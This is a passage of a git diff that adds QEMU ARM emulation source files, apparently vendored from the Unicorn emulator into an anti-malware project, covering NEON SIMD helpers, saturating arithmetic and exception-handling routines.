DO_QNEG8(vec.v3); + DO_QNEG8(vec.v4); + NEON_PACK(neon_s8, x, vec); + return x; +} +#undef DO_QNEG8 + +#define DO_QABS16(x) do { \ + if (x == (int16_t)0x8000) { \ + x = 0x7fff; \ + SET_QC(); \ + } else if (x < 0) { \ + x = -x; \ + }} while (0) +uint32_t HELPER(neon_qabs_s16)(CPUARMState *env, uint32_t x) +{ + neon_s16 vec; + NEON_UNPACK(neon_s16, vec, x); + DO_QABS16(vec.v1); + DO_QABS16(vec.v2); + NEON_PACK(neon_s16, x, vec); + return x; +} +#undef DO_QABS16 + +#define DO_QNEG16(x) do { \ + if (x == (int16_t)0x8000) { \ + x = 0x7fff; \ + SET_QC(); \ + } else { \ + x = -x; \ + }} while (0) +uint32_t HELPER(neon_qneg_s16)(CPUARMState *env, uint32_t x) +{ + neon_s16 vec; + NEON_UNPACK(neon_s16, vec, x); + DO_QNEG16(vec.v1); + DO_QNEG16(vec.v2); + NEON_PACK(neon_s16, x, vec); + return x; +} +#undef DO_QNEG16 + +uint32_t HELPER(neon_qabs_s32)(CPUARMState *env, uint32_t x) +{ + if (x == SIGNBIT) { + SET_QC(); + x = ~SIGNBIT; + } else if ((int32_t)x < 0) { + x = 0-x; + } + return x; +} + +uint32_t HELPER(neon_qneg_s32)(CPUARMState *env, uint32_t x) +{ + if (x == SIGNBIT) { + SET_QC(); + x = ~SIGNBIT; + } else { + x = 0-x; + } + return x; +} + +uint64_t HELPER(neon_qabs_s64)(CPUARMState *env, uint64_t x) +{ + if (x == SIGNBIT64) { + SET_QC(); + x = ~SIGNBIT64; + } else if ((int64_t)x < 0) { + x = 0-x; + } + return x; +} + +uint64_t HELPER(neon_qneg_s64)(CPUARMState *env, uint64_t x) +{ + if (x == SIGNBIT64) { + SET_QC(); + x = ~SIGNBIT64; + } else { + x = 0-x; + } + return x; +} + +/* NEON Float helpers. */ +uint32_t HELPER(neon_abd_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + float32 f0 = make_float32(a); + float32 f1 = make_float32(b); + return float32_val(float32_abs(float32_sub(f0, f1, fpst))); +} + +/* Floating point comparisons produce an integer result. + * Note that EQ doesn't signal InvalidOp for QNaNs but GE and GT do. + * Softfloat routines return 0/1, which we convert to the 0/-1 Neon requires. + */ +uint32_t HELPER(neon_ceq_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float32_eq_quiet(make_float32(a), make_float32(b), fpst); +} + +uint32_t HELPER(neon_cge_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float32_le(make_float32(b), make_float32(a), fpst); +} + +uint32_t HELPER(neon_cgt_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + return -float32_lt(make_float32(b), make_float32(a), fpst); +} + +uint32_t HELPER(neon_acge_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + float32 f0 = float32_abs(make_float32(a)); + float32 f1 = float32_abs(make_float32(b)); + return -float32_le(f1, f0, fpst); +} + +uint32_t HELPER(neon_acgt_f32)(uint32_t a, uint32_t b, void *fpstp) +{ + float_status *fpst = fpstp; + float32 f0 = float32_abs(make_float32(a)); + float32 f1 = float32_abs(make_float32(b)); + return -float32_lt(f1, f0, fpst); +} + +uint64_t HELPER(neon_acge_f64)(uint64_t a, uint64_t b, void *fpstp) +{ + float_status *fpst = fpstp; + float64 f0 = float64_abs(make_float64(a)); + float64 f1 = float64_abs(make_float64(b)); + return -float64_le(f1, f0, fpst); +} + +uint64_t HELPER(neon_acgt_f64)(uint64_t a, uint64_t b, void *fpstp) +{ + float_status *fpst = fpstp; + float64 f0 = float64_abs(make_float64(a)); + float64 f1 = float64_abs(make_float64(b)); + return -float64_lt(f1, f0, fpst); +} + +#define ELEM(V, N, SIZE) (((V) >> ((N) * (SIZE))) & ((1ull << (SIZE)) - 1)) + +void HELPER(neon_qunzip8)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 8) | (ELEM(zd0, 2, 8) << 8) + | (ELEM(zd0, 4, 8) << 16) | (ELEM(zd0, 6, 8) << 24) + | (ELEM(zd1, 0, 8) << 32) | (ELEM(zd1, 2, 8) << 40) + | (ELEM(zd1, 4, 8) << 48) | (ELEM(zd1, 6, 8) << 56); + uint64_t d1 = ELEM(zm0, 0, 8) | (ELEM(zm0, 2, 8) << 8) + | (ELEM(zm0, 4, 8) << 16) | (ELEM(zm0, 6, 8) << 24) + | (ELEM(zm1, 0, 8) << 32) | (ELEM(zm1, 2, 8) << 40) + | (ELEM(zm1, 4, 8) << 48) | (ELEM(zm1, 6, 8) << 56); + uint64_t m0 = ELEM(zd0, 1, 8) | (ELEM(zd0, 3, 8) << 8) + | (ELEM(zd0, 5, 8) << 16) | (ELEM(zd0, 7, 8) << 24) + | (ELEM(zd1, 1, 8) << 32) | (ELEM(zd1, 3, 8) << 40) + | (ELEM(zd1, 5, 8) << 48) | (ELEM(zd1, 7, 8) << 56); + uint64_t m1 = ELEM(zm0, 1, 8) | (ELEM(zm0, 3, 8) << 8) + | (ELEM(zm0, 5, 8) << 16) | (ELEM(zm0, 7, 8) << 24) + | (ELEM(zm1, 1, 8) << 32) | (ELEM(zm1, 3, 8) << 40) + | (ELEM(zm1, 5, 8) << 48) | (ELEM(zm1, 7, 8) << 56); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_qunzip16)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 16) | (ELEM(zd0, 2, 16) << 16) + | (ELEM(zd1, 0, 16) << 32) | (ELEM(zd1, 2, 16) << 48); + uint64_t d1 = ELEM(zm0, 0, 16) | (ELEM(zm0, 2, 16) << 16) + | (ELEM(zm1, 0, 16) << 32) | (ELEM(zm1, 2, 16) << 48); + uint64_t m0 = ELEM(zd0, 1, 16) | (ELEM(zd0, 3, 16) << 16) + | (ELEM(zd1, 1, 16) << 32) | (ELEM(zd1, 3, 16) << 48); + uint64_t m1 = ELEM(zm0, 1, 16) | (ELEM(zm0, 3, 16) << 16) + | (ELEM(zm1, 1, 16) << 32) | (ELEM(zm1, 3, 16) << 48); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_qunzip32)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 32) | (ELEM(zd1, 0, 32) << 32); + uint64_t d1 = ELEM(zm0, 0, 32) | (ELEM(zm1, 0, 32) << 32); + uint64_t m0 = ELEM(zd0, 1, 32) | (ELEM(zd1, 1, 32) << 32); + uint64_t m1 = ELEM(zm0, 1, 32) | (ELEM(zm1, 1, 32) << 32); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_unzip8)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm = float64_val(env->vfp.regs[rm]); + uint64_t zd = float64_val(env->vfp.regs[rd]); + uint64_t d0 = ELEM(zd, 0, 8) | (ELEM(zd, 2, 8) << 8) + | (ELEM(zd, 4, 8) << 16) | (ELEM(zd, 6, 8) << 24) + | (ELEM(zm, 0, 8) << 32) | (ELEM(zm, 2, 8) << 40) + | (ELEM(zm, 4, 8) << 48) | (ELEM(zm, 6, 8) << 56); + uint64_t m0 = ELEM(zd, 1, 8) | (ELEM(zd, 3, 8) << 8) + | (ELEM(zd, 5, 8) << 16) | (ELEM(zd, 7, 8) << 24) + | (ELEM(zm, 1, 8) << 32) | (ELEM(zm, 3, 8) << 40) + | (ELEM(zm, 5, 8) << 48) | (ELEM(zm, 7, 8) << 56); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rd] = make_float64(d0); +} + +void HELPER(neon_unzip16)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm = float64_val(env->vfp.regs[rm]); + uint64_t zd = float64_val(env->vfp.regs[rd]); + uint64_t d0 = ELEM(zd, 0, 16) | (ELEM(zd, 2, 16) << 16) + | (ELEM(zm, 0, 16) << 32) | (ELEM(zm, 2, 16) << 48); + uint64_t m0 = ELEM(zd, 1, 16) | (ELEM(zd, 3, 16) << 16) + | (ELEM(zm, 1, 16) << 32) | (ELEM(zm, 3, 16) << 48); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rd] = make_float64(d0); +} + +void HELPER(neon_qzip8)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 8) | (ELEM(zm0, 0, 8) << 8) + | (ELEM(zd0, 1, 8) << 16) | (ELEM(zm0, 1, 8) << 24) + | (ELEM(zd0, 2, 8) << 32) | (ELEM(zm0, 2, 8) << 40) + | (ELEM(zd0, 3, 8) << 48) | (ELEM(zm0, 3, 8) << 56); + uint64_t d1 = ELEM(zd0, 4, 8) | (ELEM(zm0, 4, 8) << 8) + | (ELEM(zd0, 5, 8) << 16) | (ELEM(zm0, 5, 8) << 24) + | (ELEM(zd0, 6, 8) << 32) | (ELEM(zm0, 6, 8) << 40) + | (ELEM(zd0, 7, 8) << 48) | (ELEM(zm0, 7, 8) << 56); + uint64_t m0 = ELEM(zd1, 0, 8) | (ELEM(zm1, 0, 8) << 8) + | (ELEM(zd1, 1, 8) << 16) | (ELEM(zm1, 1, 8) << 24) + | (ELEM(zd1, 2, 8) << 32) | (ELEM(zm1, 2, 8) << 40) + | (ELEM(zd1, 3, 8) << 48) | (ELEM(zm1, 3, 8) << 56); + uint64_t m1 = ELEM(zd1, 4, 8) | (ELEM(zm1, 4, 8) << 8) + | (ELEM(zd1, 5, 8) << 16) | (ELEM(zm1, 5, 8) << 24) + | (ELEM(zd1, 6, 8) << 32) | (ELEM(zm1, 6, 8) << 40) + | (ELEM(zd1, 7, 8) << 48) | (ELEM(zm1, 7, 8) << 56); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_qzip16)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 16) | (ELEM(zm0, 0, 16) << 16) + | (ELEM(zd0, 1, 16) << 32) | (ELEM(zm0, 1, 16) << 48); + uint64_t d1 = ELEM(zd0, 2, 16) | (ELEM(zm0, 2, 16) << 16) + | (ELEM(zd0, 3, 16) << 32) | (ELEM(zm0, 3, 16) << 48); + uint64_t m0 = ELEM(zd1, 0, 16) | (ELEM(zm1, 0, 16) << 16) + | (ELEM(zd1, 1, 16) << 32) | (ELEM(zm1, 1, 16) << 48); + uint64_t m1 = ELEM(zd1, 2, 16) | (ELEM(zm1, 2, 16) << 16) + | (ELEM(zd1, 3, 16) << 32) | (ELEM(zm1, 3, 16) << 48); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_qzip32)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm0 = float64_val(env->vfp.regs[rm]); + uint64_t zm1 = float64_val(env->vfp.regs[rm + 1]); + uint64_t zd0 = float64_val(env->vfp.regs[rd]); + uint64_t zd1 = float64_val(env->vfp.regs[rd + 1]); + uint64_t d0 = ELEM(zd0, 0, 32) | (ELEM(zm0, 0, 32) << 32); + uint64_t d1 = ELEM(zd0, 1, 32) | (ELEM(zm0, 1, 32) << 32); + uint64_t m0 = ELEM(zd1, 0, 32) | (ELEM(zm1, 0, 32) << 32); + uint64_t m1 = ELEM(zd1, 1, 32) | (ELEM(zm1, 1, 32) << 32); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rm + 1] = make_float64(m1); + env->vfp.regs[rd] = make_float64(d0); + env->vfp.regs[rd + 1] = make_float64(d1); +} + +void HELPER(neon_zip8)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm = float64_val(env->vfp.regs[rm]); + uint64_t zd = float64_val(env->vfp.regs[rd]); + uint64_t d0 = ELEM(zd, 0, 8) | (ELEM(zm, 0, 8) << 8) + | (ELEM(zd, 1, 8) << 16) | (ELEM(zm, 1, 8) << 24) + | (ELEM(zd, 2, 8) << 32) | (ELEM(zm, 2, 8) << 40) + | (ELEM(zd, 3, 8) << 48) | (ELEM(zm, 3, 8) << 56); + uint64_t m0 = ELEM(zd, 4, 8) | (ELEM(zm, 4, 8) << 8) + | (ELEM(zd, 5, 8) << 16) | (ELEM(zm, 5, 8) << 24) + | (ELEM(zd, 6, 8) << 32) | (ELEM(zm, 6, 8) << 40) + | (ELEM(zd, 7, 8) << 48) | (ELEM(zm, 7, 8) << 56); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rd] = make_float64(d0); +} + +void HELPER(neon_zip16)(CPUARMState *env, uint32_t rd, uint32_t rm) +{ + uint64_t zm = float64_val(env->vfp.regs[rm]); + uint64_t zd = float64_val(env->vfp.regs[rd]); + uint64_t d0 = ELEM(zd, 0, 16) | (ELEM(zm, 0, 16) << 16) + | (ELEM(zd, 1, 16) << 32) | (ELEM(zm, 1, 16) << 48); + uint64_t m0 = ELEM(zd, 2, 16) | (ELEM(zm, 2, 16) << 16) + | (ELEM(zd, 3, 16) << 32) | (ELEM(zm, 3, 16) << 48); + env->vfp.regs[rm] = make_float64(m0); + env->vfp.regs[rd] = make_float64(d0); +} + +/* Helper function for 64 bit polynomial multiply case: + * perform PolynomialMult(op1, op2) and return either the top or + * bottom half of the 128 bit result. + */ +uint64_t HELPER(neon_pmull_64_lo)(uint64_t op1, uint64_t op2) +{ + int bitnum; + uint64_t res = 0; + + for (bitnum = 0; bitnum < 64; bitnum++) { + if (op1 & (1ULL << bitnum)) { + res ^= op2 << bitnum; + } + } + return res; +} +uint64_t HELPER(neon_pmull_64_hi)(uint64_t op1, uint64_t op2) +{ + int bitnum; + uint64_t res = 0; + + /* bit 0 of op1 can't influence the high 64 bits at all */ + for (bitnum = 1; bitnum < 64; bitnum++) { + if (op1 & (1ULL << bitnum)) { + res ^= op2 >> (64 - bitnum); + } + } + return res; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_addsub.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_addsub.h new file mode 100644 index 0000000..ca4a189 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_addsub.h @@ -0,0 +1,103 @@ +/* + * ARMv6 integer SIMD operations. + * + * Copyright (c) 2007 CodeSourcery. + * Written by Paul Brook + * + * This code is licensed under the GPL. + */ + +#ifdef ARITH_GE +#define GE_ARG , void *gep +#define DECLARE_GE uint32_t ge = 0 +#define SET_GE *(uint32_t *)gep = ge +#else +#define GE_ARG +#define DECLARE_GE do{}while(0) +#define SET_GE do{}while(0) +#endif + +#define RESULT(val, n, width) \ + res |= ((uint32_t)(glue(glue(uint,width),_t))(val)) << (n * width) + +uint32_t HELPER(glue(PFX,add16))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + ADD16(a, b, 0); + ADD16(a >> 16, b >> 16, 1); + SET_GE; + return res; +} + +uint32_t HELPER(glue(PFX,add8))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + ADD8(a, b, 0); + ADD8(a >> 8, b >> 8, 1); + ADD8(a >> 16, b >> 16, 2); + ADD8(a >> 24, b >> 24, 3); + SET_GE; + return res; +} + +uint32_t HELPER(glue(PFX,sub16))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + SUB16(a, b, 0); + SUB16(a >> 16, b >> 16, 1); + SET_GE; + return res; +} + +uint32_t HELPER(glue(PFX,sub8))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + SUB8(a, b, 0); + SUB8(a >> 8, b >> 8, 1); + SUB8(a >> 16, b >> 16, 2); + SUB8(a >> 24, b >> 24, 3); + SET_GE; + return res; +} + +uint32_t HELPER(glue(PFX,subaddx))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + ADD16(a, b >> 16, 0); + SUB16(a >> 16, b, 1); + SET_GE; + return res; +} + +uint32_t HELPER(glue(PFX,addsubx))(uint32_t a, uint32_t b GE_ARG) +{ + uint32_t res = 0; + DECLARE_GE; + + SUB16(a, b >> 16, 0); + ADD16(a >> 16, b, 1); + SET_GE; + return res; +} + +#undef GE_ARG +#undef DECLARE_GE +#undef SET_GE +#undef RESULT + +#undef ARITH_GE +#undef PFX +#undef ADD16 +#undef SUB16 +#undef ADD8 +#undef SUB8 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_helper.c new file mode 100644 index 0000000..4e28af7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/op_helper.c @@ -0,0 +1,842 @@ +/* + * ARM helper routines + * + * Copyright (c) 2005-2007 CodeSourcery, LLC + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include "cpu.h" +#include "exec/helper-proto.h" +#include "internals.h" +#include "exec/cpu_ldst.h" + +#define SIGNBIT (uint32_t)0x80000000 +#define SIGNBIT64 ((uint64_t)1 << 63) + +static void raise_exception(CPUARMState *env, int tt) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + CPUState *cs = CPU(cpu); + + cs->exception_index = tt; + cpu_loop_exit(cs); +} + +uint32_t HELPER(neon_tbl)(CPUARMState *env, uint32_t ireg, uint32_t def, + uint32_t rn, uint32_t maxindex) +{ + uint32_t val; + uint32_t tmp; + int index; + int shift; + uint64_t *table; + table = (uint64_t *)&env->vfp.regs[rn]; + val = 0; + for (shift = 0; shift < 32; shift += 8) { + index = (ireg >> shift) & 0xff; + if (index < maxindex) { + tmp = (table[index >> 3] >> ((index & 7) << 3)) & 0xff; + val |= tmp << shift; + } else { + val |= def & (0xffU << shift); + } + } + return val; +} + +#if !defined(CONFIG_USER_ONLY) + +/* try to fill the TLB and return an exception if error. If retaddr is + * NULL, it means that the function was called in C code (i.e. not + * from generated code or from helper.c) + */ +void tlb_fill(CPUState *cs, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr) +{ + int ret; + + ret = arm_cpu_handle_mmu_fault(cs, addr, is_write, mmu_idx); + if (unlikely(ret)) { + ARMCPU *cpu = ARM_CPU(cs->uc, cs); + CPUARMState *env = &cpu->env; + + if (retaddr) { + /* now we have a real cpu fault */ + cpu_restore_state(cs, retaddr); + } + raise_exception(env, cs->exception_index); + } +} +#endif + +uint32_t HELPER(add_setq)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a + b; + if (((res ^ a) & SIGNBIT) && !((a ^ b) & SIGNBIT)) + env->QF = 1; + return res; +} + +uint32_t HELPER(add_saturate)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a + b; + if (((res ^ a) & SIGNBIT) && !((a ^ b) & SIGNBIT)) { + env->QF = 1; + res = ~(((int32_t)a >> 31) ^ SIGNBIT); + } + return res; +} + +uint32_t HELPER(sub_saturate)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a - b; + if (((res ^ a) & SIGNBIT) && ((a ^ b) & SIGNBIT)) { + env->QF = 1; + res = ~(((int32_t)a >> 31) ^ SIGNBIT); + } + return res; +} + +uint32_t HELPER(double_saturate)(CPUARMState *env, int32_t val) +{ + uint32_t res; + if (val >= 0x40000000) { + res = ~SIGNBIT; + env->QF = 1; + } else if (val <= (int32_t)0xc0000000) { + res = SIGNBIT; + env->QF = 1; + } else { + res = (uint32_t)val << 1; + } + return res; +} + +uint32_t HELPER(add_usaturate)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a + b; + if (res < a) { + env->QF = 1; + res = ~0; + } + return res; +} + +uint32_t HELPER(sub_usaturate)(CPUARMState *env, uint32_t a, uint32_t b) +{ + uint32_t res = a - b; + if (res > a) { + env->QF = 1; + res = 0; + } + return res; +} + +/* Signed saturation. */ +static inline uint32_t do_ssat(CPUARMState *env, int32_t val, int shift) +{ + int32_t top; + uint32_t mask; + + top = val >> shift; + mask = (1u << shift) - 1; + if (top > 0) { + env->QF = 1; + return mask; + } else if (top < -1) { + env->QF = 1; + return ~mask; + } + return val; +} + +/* Unsigned saturation. */ +static inline uint32_t do_usat(CPUARMState *env, int32_t val, int shift) +{ + uint32_t max; + + max = (1u << shift) - 1; + if (val < 0) { + env->QF = 1; + return 0; + } else if (val > max) { + env->QF = 1; + return max; + } + return val; +} + +/* Signed saturate. */ +uint32_t HELPER(ssat)(CPUARMState *env, uint32_t x, uint32_t shift) +{ + return do_ssat(env, x, shift); +} + +/* Dual halfword signed saturate. */ +uint32_t HELPER(ssat16)(CPUARMState *env, uint32_t x, uint32_t shift) +{ + uint32_t res; + + res = (uint16_t)do_ssat(env, (int16_t)x, shift); + res |= do_ssat(env, ((int32_t)x) >> 16, shift) << 16; + return res; +} + +/* Unsigned saturate. */ +uint32_t HELPER(usat)(CPUARMState *env, uint32_t x, uint32_t shift) +{ + return do_usat(env, x, shift); +} + +/* Dual halfword unsigned saturate. */ +uint32_t HELPER(usat16)(CPUARMState *env, uint32_t x, uint32_t shift) +{ + uint32_t res; + + res = (uint16_t)do_usat(env, (int16_t)x, shift); + res |= do_usat(env, ((int32_t)x) >> 16, shift) << 16; + return res; +} + +void HELPER(wfi)(CPUARMState *env) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + + cs->exception_index = EXCP_HLT; + cs->halted = 1; + cpu_loop_exit(cs); +} + +void HELPER(wfe)(CPUARMState *env) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + + /* Don't actually halt the CPU, just yield back to top + * level loop + */ + cs->exception_index = EXCP_YIELD; + cpu_loop_exit(cs); +} + +/* Raise an internal-to-QEMU exception. This is limited to only + * those EXCP values which are special cases for QEMU to interrupt + * execution and not to be used for exceptions which are passed to + * the guest (those must all have syndrome information and thus should + * use exception_with_syndrome). + */ +void HELPER(exception_internal)(CPUARMState *env, uint32_t excp) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + + assert(excp_is_internal(excp)); + cs->exception_index = excp; + cpu_loop_exit(cs); +} + +/* Raise an exception with the specified syndrome register value */ +void HELPER(exception_with_syndrome)(CPUARMState *env, uint32_t excp, + uint32_t syndrome) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + + assert(!excp_is_internal(excp)); + cs->exception_index = excp; // qq + env->exception.syndrome = syndrome; + cpu_loop_exit(cs); +} + +uint32_t HELPER(cpsr_read)(CPUARMState *env) +{ + return cpsr_read(env) & ~(CPSR_EXEC | CPSR_RESERVED); +} + +void HELPER(cpsr_write)(CPUARMState *env, uint32_t val, uint32_t mask) +{ + cpsr_write(env, val, mask); +} + +/* Access to user mode registers from privileged modes. */ +uint32_t HELPER(get_user_reg)(CPUARMState *env, uint32_t regno) +{ + uint32_t val; + + if (regno == 13) { + val = env->banked_r13[0]; + } else if (regno == 14) { + val = env->banked_r14[0]; + } else if (regno >= 8 + && (env->uncached_cpsr & 0x1f) == ARM_CPU_MODE_FIQ) { + val = env->usr_regs[regno - 8]; + } else { + val = env->regs[regno]; + } + return val; +} + +void HELPER(set_user_reg)(CPUARMState *env, uint32_t regno, uint32_t val) +{ + if (regno == 13) { + env->banked_r13[0] = val; + } else if (regno == 14) { + env->banked_r14[0] = val; + } else if (regno >= 8 + && (env->uncached_cpsr & 0x1f) == ARM_CPU_MODE_FIQ) { + env->usr_regs[regno - 8] = val; + } else { + env->regs[regno] = val; + } +} + +void HELPER(access_check_cp_reg)(CPUARMState *env, void *rip, uint32_t syndrome) +{ + const ARMCPRegInfo *ri = rip; + + if (arm_feature(env, ARM_FEATURE_XSCALE) && ri->cp < 14 + && extract32(env->cp15.c15_cpar, ri->cp, 1) == 0) { + env->exception.syndrome = syndrome; + raise_exception(env, EXCP_UDEF); + } + + if (!ri->accessfn) { + return; + } + + switch (ri->accessfn(env, ri)) { + case CP_ACCESS_OK: + return; + case CP_ACCESS_TRAP: + env->exception.syndrome = syndrome; + break; + case CP_ACCESS_TRAP_UNCATEGORIZED: + env->exception.syndrome = syn_uncategorized(); + break; + default: + g_assert_not_reached(); + } + raise_exception(env, EXCP_UDEF); +} + +void HELPER(set_cp_reg)(CPUARMState *env, void *rip, uint32_t value) +{ + const ARMCPRegInfo *ri = rip; + + ri->writefn(env, ri, value); +} + +uint32_t HELPER(get_cp_reg)(CPUARMState *env, void *rip) +{ + const ARMCPRegInfo *ri = rip; + + return ri->readfn(env, ri); +} + +void HELPER(set_cp_reg64)(CPUARMState *env, void *rip, uint64_t value) +{ + const ARMCPRegInfo *ri = rip; + + ri->writefn(env, ri, value); +} + +uint64_t HELPER(get_cp_reg64)(CPUARMState *env, void *rip) +{ + const ARMCPRegInfo *ri = rip; + + return ri->readfn(env, ri); +} + +void HELPER(msr_i_pstate)(CPUARMState *env, uint32_t op, uint32_t imm) +{ + /* MSR_i to update PSTATE. This is OK from EL0 only if UMA is set. + * Note that SPSel is never OK from EL0; we rely on handle_msr_i() + * to catch that case at translate time. + */ + if (arm_current_el(env) == 0 && !(env->cp15.c1_sys & SCTLR_UMA)) { + raise_exception(env, EXCP_UDEF); + } + + switch (op) { + case 0x05: /* SPSel */ + update_spsel(env, imm); + break; + case 0x1e: /* DAIFSet */ + env->daif |= (imm << 6) & PSTATE_DAIF; + break; + case 0x1f: /* DAIFClear */ + env->daif &= ~((imm << 6) & PSTATE_DAIF); + break; + default: + g_assert_not_reached(); + } +} + +void HELPER(clear_pstate_ss)(CPUARMState *env) +{ + env->pstate &= ~PSTATE_SS; +} + +void HELPER(pre_hvc)(CPUARMState *env) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int cur_el = arm_current_el(env); + /* FIXME: Use actual secure state. */ + bool secure = false; + bool undef; + + if (arm_is_psci_call(cpu, EXCP_HVC)) { + /* If PSCI is enabled and this looks like a valid PSCI call then + * that overrides the architecturally mandated HVC behaviour. + */ + return; + } + + if (!arm_feature(env, ARM_FEATURE_EL2)) { + /* If EL2 doesn't exist, HVC always UNDEFs */ + undef = true; + } else if (arm_feature(env, ARM_FEATURE_EL3)) { + /* EL3.HCE has priority over EL2.HCD. */ + undef = !(env->cp15.scr_el3 & SCR_HCE); + } else { + undef = env->cp15.hcr_el2 & HCR_HCD; + } + + /* In ARMv7 and ARMv8/AArch32, HVC is undef in secure state. + * For ARMv8/AArch64, HVC is allowed in EL3. + * Note that we've already trapped HVC from EL0 at translation + * time. + */ + if (secure && (!is_a64(env) || cur_el == 1)) { + undef = true; + } + + if (undef) { + env->exception.syndrome = syn_uncategorized(); + raise_exception(env, EXCP_UDEF); + } +} + +void HELPER(pre_smc)(CPUARMState *env, uint32_t syndrome) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int cur_el = arm_current_el(env); + bool secure = arm_is_secure(env); + bool smd = env->cp15.scr_el3 & SCR_SMD; + /* On ARMv8 AArch32, SMD only applies to NS state. + * On ARMv7 SMD only applies to NS state and only if EL2 is available. + * For ARMv7 non EL2, we force SMD to zero so we don't need to re-check + * the EL2 condition here. + */ + bool undef = is_a64(env) ? smd : (!secure && smd); + + if (arm_is_psci_call(cpu, EXCP_SMC)) { + /* If PSCI is enabled and this looks like a valid PSCI call then + * that overrides the architecturally mandated SMC behaviour. + */ + return; + } + + if (!arm_feature(env, ARM_FEATURE_EL3)) { + /* If we have no EL3 then SMC always UNDEFs */ + undef = true; + } else 